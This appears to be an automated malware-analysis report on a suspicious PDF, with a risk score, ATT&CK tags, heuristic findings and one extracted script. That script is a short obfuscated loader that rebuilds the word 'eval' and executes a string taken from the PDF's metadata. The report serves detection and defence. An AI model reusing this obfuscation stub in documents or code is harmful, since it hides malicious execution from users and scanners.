SUSPICIOUS
46
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1566.001 Spearphishing Attachment
The PDF document contains embedded JavaScript, as indicated by multiple heuristic firings and the presence of a javascript_obj0011_000.js artifact. The JavaScript code appears to manipulate strings from the PDF's info dictionary and then execute them. This is a common technique for downloading and executing further stages of malware. The ML classifier also strongly indicates maliciousness.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 2
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0x22B7 | 108 bytes |
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126 |
|||
Preview scriptFirst 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9); this[m3](m2); |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.